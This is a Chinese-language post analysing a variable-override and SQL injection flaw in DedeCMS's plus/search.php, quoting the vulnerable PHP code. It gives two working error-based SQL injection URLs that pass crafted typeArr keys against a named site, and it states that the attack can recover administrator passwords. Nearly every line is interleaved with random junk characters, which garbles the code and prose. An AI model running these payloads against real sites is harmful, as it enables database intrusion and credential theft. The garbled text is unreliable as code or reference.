微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
6 l1 { }7 M; D! t作者: c4rp3nt3r@0x50sec.org
) K. D6 }" N( p4 l- NDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: t. O4 |. @, {- j, t+ s% g # h8 U5 j9 s& [9 M% B' e
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 ]6 l3 P% p/ g" D! z m
' a/ C, }! |8 y) s3 U============
( J0 L+ m9 f5 d1 w2 E0 p
# c! s+ R( A+ Y
7 D- X: j5 R' K( f% F4 fDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
; {7 P/ C+ l3 q" m: T! I' @
t6 c1 Y! O# I# f; e+ i; Drequire_once(dirname(__FILE__).”/../include/common.inc.php”);
2 I8 S6 P$ [. @3 yrequire_once(DEDEINC.”/arc.searchview.class.php”);
9 k6 l- W7 L! e. e: ~5 \ 1 ^( H/ A$ o& i+ Z' `
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;+ I# e4 S% s1 M. v" y% T! c ]
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
- g- H: m L% Y% m2 U/ @$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
5 q; a* A, R* k7 D" E6 a$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
; W$ p5 T+ D" i4 M$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;) ~4 {* G/ r2 \, U$ s* k0 x
* w9 c+ Q0 Q5 fif(!isset($orderby)) $orderby=”;
! G9 j9 I$ ~3 U6 A, r" D, j& Qelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);5 A' g' ^( v' N2 [ V
, R( _6 F7 N/ q3 d! T# c: M 3 B9 _6 M( S7 _+ T! F) s: K
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;, |6 {: u& V6 C$ J. m# e2 C7 k
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);4 l! ?/ {! U- l5 k4 T$ W1 m4 R
8 N9 x' l% o5 U) d# Z
if(!isset($keyword)){ H' r) d. X* G" ]9 o3 N0 h1 {
if(!isset($q)) $q = ”;6 p* F/ z/ r6 F7 U! u
$keyword=$q;, u* N( e* V- O: L- w4 R1 J
}
) l' t1 o4 l. | e! B% w7 _0 ?( D & e% S/ m3 m4 [: Z$ H
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
4 ^$ ~4 y, s" V& }1 u- ~/ O
' d2 r; ]. }2 C7 x6 `" L# f//查找栏目信息
1 I$ s# [6 O2 ~- i1 Hif(empty($typeid))% ^% j, L& ]$ V) C1 P: ? g
{
- [2 o0 y3 C; e2 G8 ? $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
" a S' K8 ?: c if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )* s( R2 M7 {) ? K- g3 V
{# y* d7 W9 `% J
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
" q( W9 Q4 B. f: o fwrite($fp, “<”.”?php\r\n”);& @- _0 T; t+ k& N% [' n
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);( O; `- a" A! x
$dsql->Execute();
; O& h0 c# H+ \( C while($row = $dsql->GetArray()); e: T1 S' F+ g2 j: L8 M
{; ^; F9 D% \- D( U, S8 K" I8 s# y
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);! R; X5 B* F" |/ a, M
}; O7 A7 T) g/ T2 w1 t% T. e
fwrite($fp, ‘?’.'>’);/ H$ P/ F) e o6 F2 j3 K1 ^
fclose($fp);
4 l( z1 r+ f H% N# y }; E; _- J# ]6 V: o
//引入栏目缓存并看关键字是否有相关栏目内容
1 @# z( O! L& o' T: A. J5 f* |$ M- ] require_once($typenameCacheFile);
% f! i! Q( M% p. C//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
+ H o9 W s, B9 x//8 b: \8 e2 G6 A/ I7 O2 d) B( d4 `
if(isset($typeArr) && is_array($typeArr))
! W4 G; M2 K b! j5 G, z {, Q$ C/ h; k* n# E" [' Z
foreach($typeArr as $id=>$typename)
, g$ D$ _4 [4 G9 ?5 d6 a {
. I* Y4 ~; d+ O, w6 n+ ~# |0 U, C
9 x/ W0 _( j, @+ A1 b <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过* C+ X$ C `1 q6 |! Y" |$ h2 d( j+ d
if($keyword != $keywordn)
# [% G7 `, l$ Z) ` {) \: i7 s' |' a
$keyword = $keywordn;7 R: L" Y" y' e
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设% h5 O9 }; Q/ h5 i
break;
5 _" f0 q: @& P } w' C& w2 c' n, O2 V' P8 X, y. q
}0 r5 w* Y) L$ M5 R0 a- t4 \
}3 h# T( X f$ m* v3 G q3 x% P9 v
}) t. S9 b, M m6 [+ Y) Z
然后plus/search.php文件下面定义了一个 Search类的对象 .
# P& p" V) `: u) y, Y, ?& b在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.8 O$ z% b/ V v
$this->TypeLink = new TypeLink($typeid);" P' J- I# s, B; [( O
- b' z" j4 t$ }2 xTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.2 G0 V$ v/ d) b7 Z8 k
& @# W+ }; n( Y# h6 c
class TypeLink
0 e+ [7 y# d: H& X{, I) @: u+ e% x8 W% N' T
var $typeDir;" a: ]5 a7 ~8 y
var $dsql;& X3 [9 _, s* b; \- o" l2 r: D
var $TypeID;. q. P) j. C8 E* N
var $baseDir;4 {/ B# Y% T- _$ m, e: D+ H
var $modDir;
, s7 g$ Y! @; u+ W var $indexUrl;8 `3 L5 L. U2 V& ?& w( e% b: d
var $indexName;. r6 t6 Q: n8 H$ q
var $TypeInfos;% y' J: M+ K: f, z
var $SplitSymbol;
& f9 N$ I" T3 D var $valuePosition;1 E: I( G! T ?7 S5 d
var $valuePositionName;
. m2 |9 i. F7 b/ b- \ var $OptionArrayList;//构造函数///////; X% v. `3 Z. }
//php5构造函数
6 M8 C3 d* I/ u& A: A function __construct($typeid)1 Q, Z' N( K( _% i# ~
{. _/ T* M# a" ~
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
! i6 u: u4 P1 q% P* X $this->indexName = $GLOBALS['cfg_indexname'];' i3 I5 {* R) H4 X; p5 b) a- c- Q
$this->baseDir = $GLOBALS['cfg_basedir'];
+ l8 F7 \* ^1 c6 x8 T $this->modDir = $GLOBALS['cfg_templets_dir'];
- f4 {) `: G1 A. M $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];7 r5 M% a& @$ l5 o% t5 A' V3 ]
$this->dsql = $GLOBALS['dsql'];
8 c, }' c. n' J2 { $this->TypeID = $typeid;9 J3 s! e r% {2 S
$this->valuePosition = ”;
- f9 x) K$ G2 O! ^3 Z $this->valuePositionName = ”;+ r8 c3 F# Z; @3 x
$this->typeDir = ”;2 n+ `. C3 I7 x3 ^, y' V
$this->OptionArrayList = ”;
* h }4 F" t, R; {* z0 s5 ~. w
4 m* U @ D3 O. [7 T0 [ //载入类目信息
# c4 a8 I: y4 ]7 B- f9 e7 n , B1 b6 J5 ]" F; u. a5 u- U8 v
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
2 \3 Z) _3 Q/ ~1 Q7 ]( Pctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join7 g9 n" ?- M( T7 `: J
`#@__channeltype` ch
* c" P; x% ?& H9 e, d: Q on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿! x5 r |* f+ |
1 N& p. n" c9 S* d+ `
if($typeid > 0)
, }# `! o" u1 f5 x) \! ^ {
3 \* a- m& r0 [$ O5 B! _* R: X $this->TypeInfos = $this->dsql->GetOne($query);
! u" v) D" Y N7 g" b+ [9 n利用代码一 需要 即使magic_quotes_gpc = Off0 M9 G) [# ], g
8 s/ ]1 a+ M$ m: K3 V8 Zwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title* X* U {( ^% K& x% t
% A Q, j; ]0 {
这只是其中一个利用代码… Search 类的构造函数再往下
# p! c( w- Q3 j ? / I; a3 Y; Z+ d, K
……省略
4 D/ }: x& Z0 q3 e5 K9 P* w$this->TypeID = $typeid;' y/ y- d" B x) n; E/ E
……省略3 a" @! L" \1 c2 E
if($this->TypeID==”0″){
0 l' h( |7 _/ v $this->ChannelTypeid=1;
% c4 z4 y7 ~9 h m& j1 j }else{
( k0 n" x* g. t$ V $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
+ h2 B, k" J: }- y1 G//现在不鸡肋了吧亲…- q4 y4 n+ e' a
$this->ChannelTypeid=$row['channeltype'];
" {4 z6 R/ g# a6 v; T ; W# w7 i/ P% V h7 s
}
+ M- \ [* G$ V; m+ }/ r利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
5 K5 g" @. d4 e9 M, B8 [
! T3 G+ q1 G: o5 Pwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title8 _- t' h8 x7 O
4 K. \* e1 m! W" m1 A
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
8 ?1 u B) C9 o2 T+ Z2 d |